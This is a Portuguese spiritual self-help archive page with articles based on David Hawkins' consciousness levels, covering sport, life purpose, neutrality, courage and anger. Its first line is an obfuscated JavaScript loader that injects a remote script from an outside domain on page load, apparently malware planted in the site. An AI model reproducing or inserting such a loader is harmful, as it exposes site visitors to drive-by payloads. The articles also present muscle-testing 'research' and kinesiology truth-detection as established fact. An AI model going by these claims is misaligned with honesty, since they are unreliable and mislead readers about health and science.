;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de coragem - David Hawkins Brasil
Categorias
David Hawkins

Como o Esporte pode nos aproximar de Deus?

No mundo moderno, o esporte muitas vezes contém a ideia mental de glória própria, ambição individual de triunfo, além do orgulho do foco em competição. Essas são áreas relacionadas com um nível de consciência abaixo do nível de integridade, ou seja, abaixo de 200 na Escala Hawkins de Consciência.

Esta imagem nos foi vendida e exibida por meio das esferas comerciais ao qual o esporte faz parte. No entanto, com um olhar um pouco mais próximo é possível observar que a vivência esportiva vai muito além deste prisma. É por isso que vamos abordar essa visão nesse artigo, com base no “Capítulo 12: Poder e Esportes” do livro “Poder vs. Força”.

A verdadeira vivência esportiva

É indiscutível o quanto a presença de um verdadeiro campeão é emocionante e inspiradora para todos, mesmo aqueles que não praticam aquele determinado esporte.

O que enche nossos corações de alegria e nossos olhos de lágrimas quando vemos o campeão subir ao pódio? Seria simplesmente a sua vitória sobre os demais oponentes? Ou seria uma chama que acende por reconhecermos a real vitória: a vitória da disciplina sobre a indisciplina, dos sacrifícios sobre os prazeres imediatos? É a alegria que a maestria guarda para os que buscam uma trajetória de vida em seu Eu Maior. 

E ainda, o que coloca nosso coração em luto ou indignação quando vemos um atleta sofrer alguma pena, lesão ou não ser capaz de demonstrar todo o potencial de sua dedicação no momento da competição? Seria verdadeiramente o desapontamento pela perda do pódio? Ou seria enxergar fora de nós tudo aquilo em nossa própria experiência que ainda não vencemos, não dominamos, não entregamos? 

De acordo com o Dr. David Hawkins, a resposta é clara:

“Celebramos o campeão porque reconhecemos que ele transcendeu a ambição pessoal por meio de sacrifício e dedicação para um princípio maior. Não é o que ele tem, nem o que ele faz, mas o que ele se tornou que inspira toda a humanidade, e é isso que honramos nele.” – Dr. David Hawkins, “Poder vs. Força”

O esporte e o autoconhecimento

Trilhar o caminho do esporte pode ser um grande contexto de autoconhecimento. Tendo em vista que o corpo está sujeito à mente, e a mente está sujeita ao nível de consciência daquele ser, o corpo é apenas onde o resultado se manifesta.

A busca por um corpo capaz nos leva, inevitavelmente, a uma busca por uma mente mais saudável e domada. Assim como, a busca por uma mente nestas condições implica na procura por uma conexão com nosso EU Maior. Ou seja, por estados de consciência mais elevados. Sem esta conexão, qualquer ato meramente físico está longe do verdadeiro potencial atlético humano. 

No esporte, talvez mais frequentemente que em outras áreas, a demanda por atenção, foco e até mesmo de recuperação fisiológica, exigem entrega a cada instante: protocolos de alimentação, treino, sono, hidratação.

Tudo isso importa, e sabemos que estados de consciência mais altos que nos levam a tomar decisões diárias mais conectadas, assertivas, e que alinham nosso ser com as maiores forças atratoras do universo, como a Coragem, a Gratidão, o Amor e a Paz, frequentemente relatados por campeões. 

O que representam os campeões

São estes valores que reconhecemos no campeão e que inspira realmente a humanidade. Muito além de uma conquista egoísta e individual, o campeão reconhece que seu esforço máximo teve um limite e, que, a partir dalí, uma força maior os tomou.

É também muito comum ouvir atletas relatarem a importância de muitos outros fatores além de seu próprio esforço que tornaram a vitória possível, como a dedicação da equipe, sua própria condição física, metal e emocional naquela competição, a ação de outros competidores e muitos outros aspectos fora de seu controle. A soma disso torna o resultado mais precioso, uma vez que combina ação e rendição.

“O estado de alegria que o acompanha é bem distinto da emoção do sucesso; é uma alegria de paz interna e unidade com toda a vida.” – Dr. David Hawkins, “Poder vs. Força”

Também no capítulo Poder e Esportes, em Poder vs Força, o Dr. David Hawkins nos atenta o fato de que mesmo atletas poderosos se mostraram fracos em testes musculares quando mantinham em mente desejos de derrotar seus adversários ou se tornar famosos. Os mesmos atletas passavam a mostrar resistência muscular quando pensavam na honra de seu país, em dedicar sua performance a alguém que amam ou na alegria da busca pela excelência.  

A excelência é uma busca de todos nós

Sendo assim, a busca humana pela excelência é inerente a todo ser humano, em todas as suas diversas áreas. São as nossas escolhas, dentro de nosso livre-arbítrio, que nos permite sermos mestres de nós mesmos e mestres em nossa vida. O esporte mostra de forma concreta o que vemos em outros contextos: é necessário nos devotarmos ao nosso caminho e tomarmos as atitudes e ações necessárias para o nosso objetivo. Porém, o próprio caminho exige a confiança, a conexão e a rendição a uma força maior para alcançar seu potencial máximo e elevar a alma humana.

Leia direto da fonte: livro “Poder vs Força”

É impossível ser a mesma pessoa depois de terminar a leitura de Poder vs Força. 

Além disso, essa obra nos presenteia com uma visão reveladora do comportamento humano, neste livro o dr. David Hawkins detalha como qualquer pessoa pode resolver o maior dilema da humanidade: distinguir instantaneamente a verdade da falsidade.

Uma leitura imperdível e praticamente obrigatória para todos aqueles que estão verdadeiramente comprometidos com o avanço espiritual e a expansão da consciência.

Acesse o site da Editora Pandora e adquira o seu exemplar do best-seller Poder vs Força.

Categorias
David Hawkins

Seu propósito no mundo: como saber se está sendo cumprido? – Por Dr. David Hawkins

Será que você está cumprindo seu propósito no mundo?

Acompanhe o Trecho de seção realizada em 12/03/2011 no Arizona onde o Dr.Hawkins responde à sua esposa Susan Hawkins e a um espectador sobre seu dilema a respeito da dúvida: estou cumprindo meu propósito de espiritualidade ou apenas usando meu tempo no mundo para trabalhar?

Muitas vezes, acreditamos que estamos deixando de cumprir o nosso propósito no mundo ou de podermos nos dedicar à espiritualidade porque estamos trabalhando demais ou atarefados com coisas da:

  • família,
  • casa ou
  • “vida comum”.

Enxergar tudo isso como sendo uma coisa só é justamente, não só o seu propósito, mas o nosso propósito e também a prática máxima da espiritualidade.

Ambos são o pano de fundo de toda a nossa vida.

Nos autoconhecer e nos entregarmos e aprofundarmos momento após momento aos princípios universais:

  • do amor,
  • compaixão,
  • gentileza,
  • bondade,
  • verdade,
  • discernimento,
  • humildade,
  • coragem,
  • fé,
  • entre outros

É isso que nos faz realmente viver uma vida com Propósito e dedicação Espiritual verdadeira.

Cumprindo seu propósito no mundo – Dr. David R. Hawkins

Ative as legendas em português para ter uma melhor experiência.

Ouvinte: Olá. Eu quero te agradecer e te pedir uma benção.

Dr.Hawkins: O que ele disse?

Susan: Ele está te pedindo uma benção.

Dr.Hawkins: Sim. Deus te abençoe.

Ouvinte: Obrigado.

Dr.Hawkins: Deus abençoe vocês dois. Ok.

Ouvinte: E eu tenho algumas dúvidas.

Susan: Você tem uma dúvida?

Ouvinte: Sim eu tenho uma dúvida. Se você pudesse passar o seu tempo cumprindo o seu propósito, porque eu fico confuso, às vezes, entre trabalhar muito, como parte da minha função aqui e estar perdendo tempo para uma progressão espiritual.

Dr.Hawkins: O que ele está dizendo?

Cumprindo seu propósito, o potencial do ser

Susan: Ele quer que você fale sobre o potencial do ser. Ele sente como se ele estivesse dedicando muito tempo ao trabalho e que isso, você sabe, todos nós fazemos isso, e temos muito pouco tempo para trabalhar a espiritualidade. Então, às vezes, nós perdemos o equilíbrio.

Dr.Hawkins: Bem, esta é uma forma errada de ver isso.

Espiritualidade é uma atitude interior e nada pode interromper isso, incluindo o trabalho. 

Porque praticar uma certa atitude ou estilo de vida não depende do que está acontecendo fora de nós para apreciar a vida em todas as suas expressões, para agradecer a vida em todas as suas expressões, não existe nenhum pré-requisito para isso.

Existe um pré-requisito em você.

Você tem que ser feliz quando está chovendo, ou quando o sol está brilhando.

Você não pode dizer “eu só vou ser feliz quando o Sol brilhar”. Não. E aí você verá que todos os climas são divertidos.

Começou chovendo nessa manhã, e aí você diz “Uau, é um dia chuvoso”. Quando vem o Sol, você diz “uau, é um dia ensolarado”. Se está nevando, você diz “Ei, olha, está nevando!” Entende o que estou dizendo? ……. Olá? Ele está acordado? (risos)

Ouvinte: Sim.

Susan: Ele disse sim.

Dr.Hawkins: Essa semana, uma semana atrás nós tivemos uma manhã muito emocionante. Nós nos levantamos e vimos que estava nevando lá fora. “Yeah! E eu fiquei pulando pela casa”.

Se você vive no Arizona, nevar é uma grande coisa. Se você vive em Nova York, nevar é um dia comum.

Analise seu contexto

Dr. Hawkins: Então, analise o contexto e o significado e sentido das coisas.

É apenas neve? Não. É neve onde, quando e sob quais circunstâncias? E se você teve um inverno inteiro de neve, o fato de estar nevando hoje não é exatamente boa notícia.

É isso que quero dizer com analisar o contexto.

Então o significado de muitas coisas na nossa vida dependem muito do contexto. Para quem está acontecendo e quando. E em que tipo de situação.

Sobre o Palestrante

Dr. David R. Hawkins foi médico e PhD em psiquiatria, além de professor espiritual, e possui vasta experiência. Abaixo podemos ver algumas de suas qualificações e experiências:

– Psiquiatra clínico por mais de 50 anos;
– Escreveu livro vanguardista sobre Psiquiatria Ortomolecular com o químico ganhador do Prêmio Nobel Linus Pauling;
– Entrou para o hall da fama da medicina ortomolecular;
– Criador do Mapa de Consciência;
– Palestrou em Oxford, Harvard, Westminster Abbey, Universidade de Notre Dame, Michigan, Universidade da Califórnia entre muitas outras;
– Consultor diplomático entre países com conflito político;
– Foi consultor em monastérios católicos, protestantes e budistas atestando a veracidade de estados avançados de consciência (estágios de Iluminação Espiritual) em monges e retirantes;
– Recebeu o título na Korea de “Rae Ryeong Seon Kak Tosa” – “antes de tudo, professor no caminho da iluminação”;
– Cavaleiro da Ordem Soberana dos Hospitaleiros de São João de Jerusalém, fundada em 1077;
– Dezenas de outros prêmio e honras podem ser vistos na lista completa em: www.veritaspub.com/dr-hawkins/

Sobre suas obras

Dr. David R. Hawkins é autor de doze livros, sendo dois deles best sellers mundiais com mais de um milhão de cópias vendidas em mais de 25 idiomas. Estes dois livros, Poder vs Força e Deixar Ir, foram traduzidos para o português pela editora Pandora Treinamentos e estão disponíveis neste link. Nos livros, David R. Hawkins explica sobre o conceituado Mapa da Consciência, assim como podemos nos ancorar e atrair os campos mais positivos de consciência, e sobre a técnica de investigação da Verdade a partir do teste de resistência muscular, um aprimoramento da ciência da cinesiologia aplicada.

Categorias
Níveis de Consciência

Como a neutralidade nos ajuda a não sofrer – com base em Dr. David Hawkins

A neutralidade é uma forma de enxergar o mundo de maneira abundante. Se não conquistamos algo hoje, amanhã teremos uma nova oportunidade.

Há uma forma de buscarmos o caminho do não-sofrimento e potencializarmos nossa alegria na jornada de nossas conquistas: é a neutralidade.

Todo ser humano busca a alegria e a felicidade.

Cada um de forma diferente:

  • carros,
  • propriedades,
  • viagens,
  • reconhecimento por suas ações,
  • formação de uma família, etc.

Porém, por termos ideais e nos apegarmos a eles, passamos a sofrer cada vez que as coisas parecem não ter dado certo para o nosso lado.

Sofremos em todos os momentos onde nossas expectativas são frustradas.

Um caminho para o não-sofrimento, da alegria.

Os problemas mais agravantes quando se tem um sonho é:

  1. Não correr atrás dele por se entregar aos prazeres de curto prazo e não ter concentração para alcançá-lo ou
  2.  Tornar-se aficionado nele e não enxergar mais nada ao seu redor, podendo sair de sua base moral para alcançá-lo. O famoso erro da frase “o fim justificam os meios”.

Este é um estado comum em nossa sociedade que busca cada vez mais recursos externos para suprir suas necessidades e cobra de todos que façam o mesmo.

Essa pressão social acaba se tornando uma autocobrança constante e inconsciente que nos traz o famoso estresse diário.

Onde precisamos a todos os momentos ficar provando aos outros e a nós mesmos de que somos capazes de mais.

O estado de neutralidade é o primeiro passo para a liberdade dessa escravidão ilusória que temos da sociedade.

Para conquistar e crescer na vida não é necessário sofrer e se sacrificar, mas podemos trocar o nosso esforço demasiado para conquistar as coisas a qualquer custo por um estilo de vida de dar o nosso melhor independente dos resultados.

Dessa forma, automaticamente, teremos satisfação, alívio e alegria constantes, além de conquistas no tempo certo e com equilíbrio.

O que é o estado de neutralidade?

Assim como o estado de coragem é o primeiro nível de consciência positivo, a neutralidade é o primeiro estágio de consciência seguro.

Coragem parte do princípio de uma vida factível, de autoafirmação e empoderamento, sabendo que tudo pode ser possível.

Porém, o estado de coragem ainda não consegue enxergar que as conquistas e resultados não dependem apenas dele e, quando não consegue alcançar, pode entender isso como fracasso e sua consciência cair novamente para estágios de:

  • culpa,
  • tristeza,
  • medo,
  • raiva ou qualquer outro negativo.

Já a neutralidade, como complemento à coragem, parte do princípio de que a vida é abundante de oportunidades e que o contexto precisa estar alinhado e pronto para que um resultado aconteça.

Sabe-se que para algo acontecer, dependem de infinitas possibilidades a qual o Ser é apenas uma variável do contexto geral.

A pessoa com características de neutralidade não depende mais de resultados externos para manter sua confiança sempre latente.

Ela entende que é responsável por tudo que acontece em sua vida e faz um bom trabalho para que tudo continue fluindo.

Se o resultado não se manifesta, ela não cai em tristeza ou qualquer estágio negativo, pois ela sabe que haverá outras oportunidades e continua tentando. A atitude é do famoso “caiu, levanta”.

É um estado interno de maturidade. Quando algo vai contra seus quereres, ou seja, uma ausência de resultado, a criança birrenta dentro de si, começa a ser disciplinada e quando surge com raiva ou indignação, automaticamente seu estado adulto controla a situação e observa a realidade que se manifesta daquela forma e entende que negá-la irá trazer sofrimento agudo, pois quando não aceitamos a realidade, caímos em ilusão e falsidade que geram sofrimentos crônicos e agudos.

Para que buscar a neutralidade?

A pessoa em neutralidade atinge um relativo desapego do resultado.

Acabamos confundindo o desapego do resultado com negligência ou um estado de apatia em que nada se faz por não ter motivação, mas esta comparação é errônea.

O estado de neutralidade dá o melhor de si como um estilo de vida para cada meta que tem, mas não se frustra pelas expectativas geradas, porque sabe que deu o seu melhor, mas o contexto não estava propício.

Então ela pode desistir daquele caminho ou observar o que pode ter dado errado e corrigir o percurso para buscar o resultado novamente.

Muitas pessoas que alcançam esse estado de neutralidade vivem nele pelo resto de suas vidas, pois é um estágio de regeneração e cura dos sofrimentos causados pelos níveis negativos de consciência.

Sem tantas oscilações de humor, a pessoa busca uma vida mais pacata, sem tantos autos e baixos e trabalha melhor e mais tranquila os seus sonhos de curto e médio prazo.

A neutralidade precede a disposição.

Para alguns isso pode parecer entediante, mas o mais interessante é que após o estágio de consciência de neutralidade, se encontra o nível de disposição (ao qual falarei no próximo artigo).

Neste nível encontram-se os empresários mais conhecidos em nossa sociedade por seu caráter construtivista.

Porém, para se chegar nesse próximo estágio, é necessário aprender as regras da vida contidas no nível de neutralidade:

  • desapego do resultado,
  • autoconfiança independente das conquistas, 
  • equilíbrio interno,
  • visão de vida satisfatória e provedora.

Sem esses pré-requisitos, o ser não consegue alcançar um estado de construtivismo para si mesmo e para as pessoas ao seu redor, pois o apego ao resultado irá despertar: cobiça, ganância, arrogância, orgulho e soberba.

Portanto, inicialmente, é necessário fazer uma limpeza interna e se tornar neutro.

Em busca desse nível de consciência

A primeira coisa a ser feita é quebrar o paradigma de enxergar a vida como uma competição dual ilusória de vencedor vs perdedor. 

O que não sai da maneira que gostaria não deve ser considerado derrota ou frustração, mas uma oportunidade de aprendizado, limpeza interna e correção de percursos.

Como é comum aos grandes esportistas a frase “o mais difícil não é chegar em primeiro lugar, mas manter o primeiro lugar”, assim também é com a vida.

Acreditamos que alcançar o resultado é o mais importante, mas mantê-lo é ainda mais determinante para o sucesso.

Se não conseguimos conquistar o resultado é porque ainda não estamos prontos para lidar com aquela responsabilidade.

A vida está nos ensinando a amadurecer primeiro para que o tombo não seja maior.

Um exemplo de neutralidade.

Gosto muito de ilustrar esse estado interno de autoconfiança independente de resultado com a história do Walt Disney que precisou falir duas vezes, perder tudo e comer comida do lixo para que a Disney pudesse acontecer do jeito que a conhecemos.

E o mais interessante é que sem essa queda, não haveria o personagem Mickey e muito menos o sucesso da empresa como ela é até hoje.

Para quem quiser entender mais sobre esse caso verídico, pode assistir o filme Walt, antes do Mickey, disponível no Netflix, Google Play e iTunes.

Como alcançar esse nível de consciência?

Para se chegar no estágio de neutralidade é necessário observar e diminuir os excessos de nossa vida, para alcançar o equilíbrio.

O trabalho é de desapego daquilo que superestimulamos e supervalorizamos em nossa vida, principalmente ligados ao que queremos conquistar, para que a harmonia e a maturidade interna possam surgir.

Outra característica importante é largar o apego a posicionamentos falsos como:

  • “só vou ser feliz quando alcançar aquele resultado” ou
  • “só isso irá me fazer feliz e satisfeito” ou ainda,
  • “preciso conquistar isso para provar que sou capaz”

Todas essas formas de pensamento trazem angústia, sofrimento e ainda, quando (e se) alcançarmos o objetivo, continuaremos com o mesmo vazio de sempre.

Isso acontece por atrelarmos nossa felicidade a um fator externo e mesmo que o alcançarmos, este vazio retornará rapidamente, pois só o amor próprio é capaz de suprir nosso vazio e nossas carências.

Buscar o desapego do resultado é se alinhar com a Verdade de que as coisas não dependem só de você e não é preciso se culpar, se pressionar ou ser tirano consigo mesmo quando não alcançadas.

Manter a intenção no alcance do resultado e dar o seu melhor já é uma forma de autorrespeito a autoaceitação, e ambos esses estados estão alinhados com o amor próprio, que é sinônimo de felicidade.

Alcançando a neutralidade.

Desta forma, quando alcançamos a neutralidade, conseguimos perceber como a felicidade está disponível todos os dias durante a nossa jornada, e não só quando alcançamos o nosso destino.

A felicidade está disponível a qualquer momento para todas as pessoas, pois, independe de qualquer fator externo, basta buscarmos nosso sonho, darmos o nosso melhor e desapegarmos do resultado.

Uma metodologia didática e comprovada que nos guia a este caminho é um estilo de vida baseado em autodesafios.

Quando nos desafiamos, no permitimos experimentar o lado oposto de nossos hábitos e vícios para entender como é viver sem aquilo que tanto prezamos por um período determinado de tempo.

Essa prática nos faz diminuir os excessos de apego e supervalorizações que damos ao nosso estilo de vida atual e nos faz expandir nossa consciência e flexibilidade para lidar com as situações inusitadas e adversidades da vida.

Se preferir, agende uma sessão online gratuita clicando aqui. Assim você pode conhecer o Processo de Alta Performance para buscar esse estado interno de equilíbrio e harmonia, alcançando os resultados que você quer e merece para si.

Gratidão e vamos em frente!

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva

07. Por que o orgulho nos prejudica?

08. Coragem é a base para o sucesso.

09. A neutralidade nos ajuda a não sofrer.

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

Categorias
Níveis de Consciência

Coragem é a Base para o Sucesso – com base em Dr. David Hawkins

Criar um estilo de vida baseado em coragem pode nos trazer resultados jamais imaginados e nos permitir viver uma vida de satisfações constantes.

A coragem é o primeiro estágio positivo de consciência.

Esse estágio serve de antídoto para qualquer emoção negativa que estejamos sentindo.

Independente das sensações com as quais nos envolvemos e que nos fazem sofrer, a coragem pode servir de ferramenta para encararmos as ilusões baseadas:

  • Na comparação do presente com o passado, que pode nos trazer:
    • tristeza,
    • apatia,
    • culpa ou
    • vergonha
  • Nas projeções futuras, que nos distanciam da realidade e que podem despertar:
    • medo,
    • desejo,
    • raiva
    • ou soberba

De onde surge esse estado?

Coragem vem de um estado de autoempoderamento e autoafirmação.

A coragem invoca uma vontade de superar os obstáculos mentais que enxergamos em nossa vida para focar na solução e na resolução de problemas, dúvidas, receios e bloqueios.

Essa consciência nos faz vencer os desafios da vida e nos traz uma visão de vida factível, de que tudo é possível, desde que seja dividido em partes executáveis e que encaremos os obstáculos de frente, sem recuar.

Esse estilo de vida nos faz alcançar sucessos constantes e, consequentemente, alegrias e satisfações adjacentes.

Nada a temer a não ser o próprio medo.

O medo é o principal obstáculo da coragem, é sua antítese.

O medo parte de um princípio de que há risco e perigo à frente por isso temos que recuar ou atacar.

Essa percepção de mundo nos faz ficar tensos e perder as oportunidades que a vida nos entrega, pois julgamos tudo como arriscado.

Coragem é um estado de atenção (ausência de tensão), oposto ao estado de medo.

Coragem não é ausência de medo, mas a capacidade de sobrepujá-lo e transcendê-lo. De observar a presença do medo e atravessá-lo no meio.

“Aprendi que a coragem não é a ausência do medo, mas o triunfo sobre ele.” (Nelson Mandela)

Coragem X Raiva.

Outro inimigo da coragem é a raiva.

Muitas vezes nos apossamos da raiva para conseguirmos expressar algo ou tomar uma atitude.

Mas diferente da coragem, que busca o bem maior, a raiva é destrutiva e leva a algum dos lados saírem perdendo.

A raiva leva ao:

  • Ganha-perde (para eu ganhar o outro tem que perder),
  • Perde-ganha (acabo perdendo a cabeça e perco a razão, e o outro ganha) ou
  • Pode levar até ao perde-perde (se eu cair, eu derrubo).

Ou seja, possibilidade ampla de destruição.

Já a coragem busca sempre o ganha-ganha. Vê a outra pessoa ou a situação presente como colaboradora ou cocriadora para o sucesso

As pessoas acreditam que a raiva pode trazer benefícios de mudança, mas na verdade é a mudança em si e não a raiva por trás dela que leva à evolução e a melhorias constantes.

Acabamos vendo, muitas vezes, o alcance da paz através da guerra e isso nos inspira a “lutar” pelos nossos direitos.

Mas é preciso lembrar que a guerra só começou pelo excesso de raiva de um dos lados ou de ambos. Sem a raiva e interesses egoístas, as guerras não começariam.

A coragem leva ao acordo, à ponderação, à harmonia. É responsável pelo famoso ditado “quando um não quer, dois não brigam”.

Abrir mão de suas opiniões e certezas limitantes para manter a intenção de harmonia é mais corajoso do que atacar a outra pessoa, tentando manipular ela a fazer o que você quer.

O verdadeiro significado da coragem.

Coragem, do latim coraticum, significa agir com o coração (cor – coração, aticum – ação). A capacidade de nos conectar com:

  • a bondade, a generosidade, o amor.
  • de tomar atitudes condizentes com o construtivismo para o bem de todos os envolvidos e não apenas para os nossos prazeres egoístas de curto prazo. 

Os excessos começam a ser substituídos por equilíbrio e ponderação. 

Existe a capacidade de identificar e enfrentar os medos e defeitos de caráter e crescer apesar deles.

Como invocar a coragem.

Para criar um estilo de vida pautado em coragem, é necessário enfrentar desafios constantes.

Por conseguinte, todos os desafios que nos dedicamos a encarar nos empoderam para resolver ou superar uma situação, e isso aumenta nossa autoestima.

Apenas o fato de decidir atravessar os obstáculos já nos permite confiarmos mais em nós mesmos.

Esse movimento faz com que saiamos de nossa zona de conforto, para explorarmos uma zona de desconforto evolutivo constante. E lá encontraremos nossos:

  • hábitos,
  • medos,
  • frustrações,
  • tristezas e arrogâncias,

Amyr Klink: um exemplo.

É possível superar todos os desafios que a vida nos traz.

Gosto muito da história do velejador Amyr Klink.

Em seu livro Gestão de Sonhos, Amyr conta de quando ele decidiu realizar a volta ao mundo pela primeira vez na história sozinho em um barco à vela dando a volta pelo Polo Sul.

Dessa forma, Amyr contratou os melhores planejadores climáticos e especialistas nessas rotas para prever todas as possibilidades e probabilidades de desafios que iria encontrar.

Iniciou então sua navegação e, em um certo dia, já em alto mar, enfrentou uma tempestade. Viu à sua frente uma onda de 15 metros de altura (mais ou menos equivalente a um prédio de 5 andares).

Ele então começou a se esforçar ao máximo para sobreviver e, durante esse momento, esbravejou mentalmente com sua equipe, com ele mesmo e até com Deus, questionando: por que está fazendo isso comigo?

Então, após superar esse mega desafio, alguns dias depois, Amyr entendeu por que enfrentou a onda de 15 metros.

Caiu em profunda gratidão, pois teve que enfrentar uma onda de 25 metros (mais ou menos um prédio de 9 andares).

Percebeu que se não tivesse encarado a onda de 15 metras para treinar, não conseguiria enfrentar a de 25 metros e teria afundado.

Amyr foi o primeiro velejador a dar a volta ao mundo e entrou para o livro dos recordes.

O sucesso começa na coragem.

A coragem é o início de qualquer sucesso, pois é uma decisão firme e perseverante.

Sucesso vem de sucessão, ou seja, a capacidade de dar um passo bem dado e equilibrado após o outro.

Para fortalecer sua coragem a cada dia, você pode começar a escolher pequenos desafios que desconstruam os seus hábitos limitantes — aqueles hábitos que te mantêm na zona de conforto.

A partir daí, você pode aprender a superar cada vez mais obstáculos na prática, quebrando paradigmas sociais enraizados que nos impedem de ousar fazer diferente.

Ou, se preferir, agende uma sessão online gratuita clicando aqui, para conhecer o Treinamento de Alta Performance, que tem como princípio desenvolver uma vida baseada em destemor e autodomínio.

Gratidão e coragem daqui pra frente!

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho nos prejudica?

08. Coragem é a base para o sucesso.

09. A neutralidade nos ajuda a não sofrer.

10. Disposição pode nos levar a resultados

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

Categorias
Níveis de Consciência

Como controlar a Raiva – com base em Dr. David Hawkins

A raiva é o escudo do medo. Para controlar a raiva é necessário encontrar qual o medo que a impulsiona.

A raiva é uma emoção, e das mais perigosas, pois ela tem energia para destruir e causar mal ao outro.

Muitas pessoas, principalmente homens, dizem ou querem mostrar ser mais racionais do que emocionais.

Contudo, se irritam com facilidade, explodem, ficam indignados com a política ou condições sociais, entre outras coisas.

Acreditamos não termos medos ou sermos destemidos porque a sociedade cobra o homem dessa postura.

Portanto, é mais fácil fingir que o medo não está lá.

E quando nos deparamos com uma situação não estava prevista ou fora de nossas expectativas, o medo da impotência e da ausência de controle é demonstrado através da energia da raiva.

A raiva possui várias ramificações que deixam sua aparência mais socialmente aceitável. Por exemplo:

  • indignação,
  • impaciência,
  • irritação,
  • rancor,
  • criticas e
  • sentimentos de injustiça.

Mas, todos esses galhos surgem da mesma árvore, a raiva. E essa árvore visível aos olhos tem suas raízes escondidas no medo.

De onde vem a raiva?

Quando surge o medo de não termos controle sobre algo, ou das coisas não saírem como queremos, ou de represálias, de falharmos ou de sermos culpados, a raiva surge como protetora do ego.

Ela emerge para que o ego não admita sua vulnerabilidade e não capacidade de controlar tudo ao seu redor.

O que sai do controle vira um inimigo e, então, desperta a raiva.

Além disso, a raiva projeta a percepção de incompetência do ego nas outras pessoas através de sentimentos de:

  • inveja,
  • ciúme,
  • bullying,
  • cinismo,
  • sadismo,
  • sarcasmo,
  • desprezo,
  • repulsa,
  • hostilidade

A raiva e a birra.

Em alguns egos menos controlados, a raiva se mostra através de birra, manha e mimo.

Quantos adultos birrentos ficam bicudinhos em situações difíceis, permitindo que sua criança interior domine sua razão?

Muitos! Vemos homens, mulheres, negros, brancos, amarelos, jovens, idosos, pobres, ricos, enfim, muitos!

A consciência humana é uma e a mesma e se expressa através de corpos físicos separados e com diferentes níveis de maturidade.

Aquelas que conseguem se comunicar entre si, chamamos de animais. E os que possuem a capacidade da razão, chamamos de humanos.

Os seres humanos são os únicos seres capazes de alterar seu estado de maturidade de consciência por vontade própria e evoluir por seu livre arbítrio. Essa é a beleza de ser humano.

O que acontece com quem se entrega à raiva?

Pessoas que se entregam à raiva — e a todas as suas limitações — estão perdendo sua oportunidade de evoluir e amadurecer como seres. Ficam presas em seu próprio sofrimento.

Pesquisas através da cinesiologia realizadas pelo Dr. David R. Hawkins, MD, PhD, indicam que uma pessoa que vive constantemente com raiva em seu dia a dia (dentro de todas as suas ramificações de cinismo, satirismo, irritação, indignação, etc) são apenas 12% do tempo felizes.

Ou seja, 88% de seu tempo de vida é desperdiçado.

O desperdício ocorre na forma de detalhes:

  • perfeccionismo,
  • autodefesa.
  • busca de senso de justiça
  • e ainda, defesa de opiniões obsoletas e sem importância, com as quais só a própria pessoa se importa, porque só enxerga importância em si mesma.

Qual a utilidade dessa emoção?

Nenhuma! A raiva é destrutiva e perigosa. É egoísta e mesquinha.

Não tem utilidade social, a não ser para sugar sua energia e desconstruir o construtivismo de outras pessoas alinhadas espiritualmente.

Corrompe o princípio de moralidade e coloca-se como centro das atenções e do universo.

A raiva adora fazer seu show e chamar todas as atenções para si.

Raiva é carência lidada de uma forma imatura e desrespeitosa consigo mesma e com as outras pessoas.

Vemos então boa parte da sociedade percebendo isso e começando a buscar autocontrole, aulas de meditação, yoga ou massagens relaxantes.

Afinal, as pessoas não podem saber que a raiva está dentro.

Muitos métodos são iniciados superficialmente, apenas como descompressão do sistema de autocompressão que está prestes a explodir (não há crítica aos métodos citados, mas está sendo dito sobre a intenção rasa do buscador).

Essa prática remediativa funciona, por vezes, para se manter um convívio aceitável na sociedade, mas a infelicidade ainda reside dentro.

Como controlar a raiva e curá-la?

A única forma de controlar a raiva e iniciar a cura é através da humildade, aliada ao destemor (ou coragem).

É necessário ser humilde e assumir todos os seus defeitos de caráter como tendo sido opções suas ao longo da vida.

Assumir a responsabilidade e não culpar pais, professores, ex-namorados, etc.

É preciso assumir que somos os autores de nossa própria vida.

Que somos responsáveis pelo que escolhemos, falamos e agimos, assim como por aquilo que atraímos para nós.

Esse é um passo difícil de dar, mas necessário se quisermos iniciar um caminho de real transcendência da raiva.

Para assumir isso é necessário invocar o destemor. Não há nada a temer em assumir isso e transformar sua vida a partir de agora.

A coragem, que do latim vem de cor+aticum (agir com o coração) é peça fundamental para que possamos nos empoderar e autoafirmar.

E, assim, encarar nossos medos e resolvê-los dentro da gente antes de explanar para fora, para o externo.

8 “entregas” para se livrar da raiva

Para transcender totalmente a raiva, é necessário invocarmos constantemente a vontade de nos rendermos às posicionalidades e crenças primárias humanas:

  1. Ressentimento à “injustiça” (nós atraímos todas as situações pelas quais precisamos obter aprendizados ainda não transcendidos);
  2. Expectativas, incluindo as de relações pessoais como aprovação, acordo, reconhecimento, atenção, etc.;
  3. Entregar egocentrismo como estilo de vida e concentrar-se em mudar a si ao invés dos outros;
  4. Disposição para render resíduos da percepção de um mundo imperfeito (tudo é perfeito como É);
  5. Assumir responsabilidade pelas atitudes infantis interiores e subordiná-las a amadurecer (virarem adultas);
  6. Perceber que o ressentimento não é pelo que os outros são, mas pelo que eles não são (de acordo com nossas expectativas egoístas de como eles deveriam ser);
  7. Aceitar falibilidade humana e limitação, que ocorre devido à incapacidade de auto-honestidade (todos estão em constante aprendizado e possuem suas limitações e ignorâncias);
